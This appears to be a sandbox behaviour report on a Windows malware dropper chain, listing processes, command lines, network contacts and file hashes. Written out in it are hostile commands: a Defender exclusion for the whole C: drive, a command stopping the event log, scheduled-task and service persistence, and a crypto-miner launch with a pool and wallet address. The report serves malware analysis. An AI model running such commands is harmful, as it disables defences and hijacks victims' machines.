Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\syswow64\MsiExec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\syswow64\MsiExec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\syswow64\MsiExec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A
N/A N/A C:\Windows\System32\msiexec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Windows\System32\msiexec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3936 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 3936 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 3936 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 1600 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe
PID 1600 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe
PID 4828 wrote to memory of 3164 N/A C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe C:\Windows\system32\cmd.exe
PID 4828 wrote to memory of 3164 N/A C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe C:\Windows\system32\cmd.exe
PID 3164 wrote to memory of 692 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
PID 3164 wrote to memory of 692 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
PID 692 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
PID 692 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
PID 692 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
PID 1600 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe
PID 1600 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe
PID 1600 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe
PID 1576 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1576 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5108 wrote to memory of 1304 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\pureee.exe
PID 5108 wrote to memory of 1304 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\pureee.exe
PID 5108 wrote to memory of 3788 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\adada.exe
PID 5108 wrote to memory of 3788 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\adada.exe
PID 5108 wrote to memory of 532 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
PID 5108 wrote to memory of 532 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
PID 5108 wrote to memory of 532 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
PID 3788 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\adada.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3788 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\adada.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3788 wrote to memory of 5800 N/A C:\Users\Admin\AppData\Local\Temp\adada.exe C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe
PID 3788 wrote to memory of 5800 N/A C:\Users\Admin\AppData\Local\Temp\adada.exe C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe
PID 5800 wrote to memory of 5484 N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe C:\Windows\SYSTEM32\schtasks.exe
PID 5800 wrote to memory of 5484 N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe C:\Windows\SYSTEM32\schtasks.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 1304 wrote to memory of 5160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 532 wrote to memory of 5164 N/A C:\Users\Admin\AppData\Local\Temp\dropperrr.exe C:\Windows\System32\msiexec.exe
PID 532 wrote to memory of 5164 N/A C:\Users\Admin\AppData\Local\Temp\dropperrr.exe C:\Windows\System32\msiexec.exe
PID 4956 wrote to memory of 4128 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 4956 wrote to memory of 4128 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 4956 wrote to memory of 4128 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 4956 wrote to memory of 1324 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 4956 wrote to memory of 1324 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 4956 wrote to memory of 1324 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1324 wrote to memory of 5640 N/A C:\Windows\syswow64\MsiExec.exe C:\Windows\SysWOW64\cmd.exe
PID 1324 wrote to memory of 5640 N/A C:\Windows\syswow64\MsiExec.exe C:\Windows\SysWOW64\cmd.exe
PID 1324 wrote to memory of 5640 N/A C:\Windows\syswow64\MsiExec.exe C:\Windows\SysWOW64\cmd.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe

"C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

"C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

clamer.exe -priverdD

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

"C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\ProgramData\wvvauqk\rqqsv.exe

C:\ProgramData\wvvauqk\rqqsv.exe

C:\Users\Admin\AppData\Local\Temp\pureee.exe

"C:\Users\Admin\AppData\Local\Temp\pureee.exe"

C:\Users\Admin\AppData\Local\Temp\adada.exe

"C:\Users\Admin\AppData\Local\Temp\adada.exe"

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe

"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe

"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Windows\System32\msiexec.exe

"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DirectX11\em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 8C59B162EF6824E4D427ECBC9672A954

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 1E8FC18D300BDFF4BC7F9314448E7035 E Global\MSI0000

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\SysWOW64\cmd.exe" /C "cd "C:\Program Files (x86)\COMODO\Endpoint Manager\" && "C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe" "

C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe"

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe" noui

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --start

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe"

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --run_procedure --in Global\sharedInputMemory_1 --out Global\sharedOutputMemory_2 --err Global\sharedErrorMemory_3

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe

"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --run_procedure --in Global\sharedInputMemory_4 --out Global\sharedOutputMemory_5 --err Global\sharedErrorMemory_6

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\svchost.exe

C:\Users\Admin\AppData\Local\Temp\svchost.exe

C:\Users\Admin\AppData\Local\Temp\svchost.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe delete "CWRWVXLO"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe create "CWRWVXLO" binpath= "C:\ProgramData\uyrlkcqvoccj\gtgpwwjkduow.exe" start= "auto"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop eventlog

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe start "CWRWVXLO"

C:\ProgramData\uyrlkcqvoccj\gtgpwwjkduow.exe

C:\ProgramData\uyrlkcqvoccj\gtgpwwjkduow.exe

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe

C:\Windows\explorer.exe

explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
NL 91.92.240.111:80 91.92.240.111 tcp
US 8.8.8.8:53 111.240.92.91.in-addr.arpa udp
NL 91.92.240.111:1334 91.92.240.111 tcp
US 8.8.8.8:53 api.ip.sb udp
US 172.67.75.172:443 api.ip.sb tcp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
NL 91.92.240.111:80 91.92.240.111 tcp
CH 185.196.9.187:80 185.196.9.187 tcp
US 8.8.8.8:53 187.9.196.185.in-addr.arpa udp
CA 51.222.21.20:4782 tcp
NL 91.92.240.111:39001 tcp
US 8.8.8.8:53 ipwho.is udp
DE 195.201.57.90:443 ipwho.is tcp
US 8.8.8.8:53 20.21.222.51.in-addr.arpa udp
US 8.8.8.8:53 90.57.201.195.in-addr.arpa udp
NL 91.92.240.111:80 91.92.240.111 tcp
US 8.8.8.8:53 rx.unmineable.com udp
GB 161.35.34.195:3333 rx.unmineable.com tcp
US 8.8.8.8:53 195.34.35.161.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 claywyaeropumps.com udp
NL 185.43.220.45:4000 claywyaeropumps.com tcp
NL 185.43.220.45:4898 claywyaeropumps.com tcp
US 8.8.8.8:53 45.220.43.185.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 mdmsupport.cmdm.comodo.com udp
DE 18.195.245.61:443 mdmsupport.cmdm.comodo.com tcp
US 8.8.8.8:53 61.245.195.18.in-addr.arpa udp
N/A 127.0.0.1:20777 tcp
N/A 127.0.0.1:20777 tcp
US 8.8.8.8:53 capcuteditorcompany.itsm-us1.comodo.com udp
US 34.236.22.242:443 capcuteditorcompany.itsm-us1.comodo.com tcp
US 8.8.8.8:53 242.22.236.34.in-addr.arpa udp
US 8.8.8.8:53 ip1.zenno.services udp
NL 195.54.174.27:80 ip1.zenno.services tcp
US 8.8.8.8:53 27.174.54.195.in-addr.arpa udp
US 8.8.8.8:53 xmpp.itsm-us1.comodo.com udp
US 34.227.128.175:443 xmpp.itsm-us1.comodo.com tcp
US 8.8.8.8:53 175.128.227.34.in-addr.arpa udp
US 34.236.22.242:443 capcuteditorcompany.itsm-us1.comodo.com tcp
US 8.8.8.8:53 rmm-api.itsm-us1.comodo.com udp
US 34.194.93.123:443 rmm-api.itsm-us1.comodo.com tcp
N/A 127.0.0.1:61447 tcp
US 8.8.8.8:53 123.93.194.34.in-addr.arpa udp
US 8.8.8.8:53 23xvideos.online udp
NL 212.32.236.83:443 23xvideos.online tcp
CH 185.196.9.187:80 185.196.9.187 tcp
US 8.8.8.8:53 83.236.32.212.in-addr.arpa udp
US 34.194.93.123:443 rmm-api.itsm-us1.comodo.com tcp
US 8.8.8.8:53 api.dragonplatform.net udp
US 35.222.52.117:443 api.dragonplatform.net tcp
US 8.8.8.8:53 117.52.222.35.in-addr.arpa udp
US 8.8.8.8:53 crt.sectigo.com udp
US 104.18.38.233:80 crt.sectigo.com tcp
N/A 127.0.0.1:61508 tcp
US 8.8.8.8:53 233.38.18.104.in-addr.arpa udp
US 34.194.93.123:443 rmm-api.itsm-us1.comodo.com tcp
N/A 127.0.0.1:61557 tcp
US 8.8.8.8:53 gulf.moneroocean.stream udp
DE 149.102.143.109:10128 gulf.moneroocean.stream tcp
CH 185.196.9.187:80 185.196.9.187 tcp
US 34.194.93.123:443 rmm-api.itsm-us1.comodo.com tcp
US 8.8.8.8:53 109.143.102.149.in-addr.arpa udp
N/A 127.0.0.1:61611 tcp
US 23.95.65.133:443 tcp
US 8.8.8.8:53 siteip.privatesocks5.com udp
US 23.95.65.133:443 siteip.privatesocks5.com tcp
US 8.8.8.8:53 133.65.95.23.in-addr.arpa udp
US 8.8.8.8:53 chek.zennolab.com udp
FR 185.87.151.135:80 chek.zennolab.com tcp
US 8.8.8.8:53 check2.zennolab.com udp
NL 5.45.94.247:80 check2.zennolab.com tcp
US 8.8.8.8:53 ip0.zenno.services udp
FR 185.87.150.22:80 ip0.zenno.services tcp
NL 195.54.174.27:80 ip1.zenno.services tcp
US 8.8.8.8:53 135.151.87.185.in-addr.arpa udp
US 8.8.8.8:53 247.94.45.5.in-addr.arpa udp
US 8.8.8.8:53 22.150.87.185.in-addr.arpa udp

Files

memory/3936-0-0x0000000000C10000-0x00000000010E5000-memory.dmp

memory/3936-1-0x0000000077B24000-0x0000000077B26000-memory.dmp

memory/3936-2-0x0000000000C11000-0x0000000000C3F000-memory.dmp

memory/3936-3-0x0000000000C10000-0x00000000010E5000-memory.dmp

memory/3936-4-0x0000000000C10000-0x00000000010E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

MD5 60fd2d6645e5b41740828e73d4040d5f
SHA1 c135e0d348ff99c0155b88ef3ab603fed3018c8c
SHA256 a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd
SHA512 ed2a187666f23fb12d585611b5cf947b00ef881345aa57a96bb3f81883c3ec7a750c4044d0d7e1c64c00764e4f9e9b86147423b4506343c1c1efba1f04192b84

memory/1600-16-0x0000000000560000-0x0000000000A35000-memory.dmp

memory/3936-17-0x0000000000C10000-0x00000000010E5000-memory.dmp

memory/1600-18-0x0000000000561000-0x000000000058F000-memory.dmp

memory/1600-19-0x0000000000560000-0x0000000000A35000-memory.dmp

memory/1600-20-0x0000000000560000-0x0000000000A35000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

MD5 4c3049f8e220c2264692cb192b741a30
SHA1 46c735f574daaa3e6605ef4c54c8189f5722ff2a
SHA256 7f74b2c86e9f5706fc44c8d5093a027d1cd5856006aa80f270efae26d55c9131
SHA512 b13dc855c3c06b56aa9bf181680b69003839adeaf16c5372912004a7bf42882e340c445c58e24e083692b4dcbb15c3e0cf244664458ccdd0dd7668b440277e0a

C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat

MD5 28151380c82f5de81c1323171201e013
SHA1 ae515d813ba2b17c8c5ebdae196663dc81c26d3c
SHA256 bb8582ce28db923f243c8d7a3f2eccb0ed25930f5b5c94133af8eefb57a8231d
SHA512 46b29cba0dc813de0c58d2d83dc298fa677921fd1f19f41e2ed3c7909c497fab2236d10a9ae59b3f38e49cf167964ede45e15543673a1e0843266242b8e26253

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

MD5 fb30b403c1fa1d57fb65dc8b8e00e75c
SHA1 161cf9d271aee2d7d2f7a0a5d0001830929c300b
SHA256 83d9579e6b71561a9dafbdd309b4dbfaddf816c7ccc25e4672c8d9dfb14b6673
SHA512 d0d15e51527bcfad38c01c46b4c43257407ead9c328bc4d48d21c9702c16872e52509e014444e78cd22f1ad96c11a88d281c2a745df0a4ca21243352f879de85

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

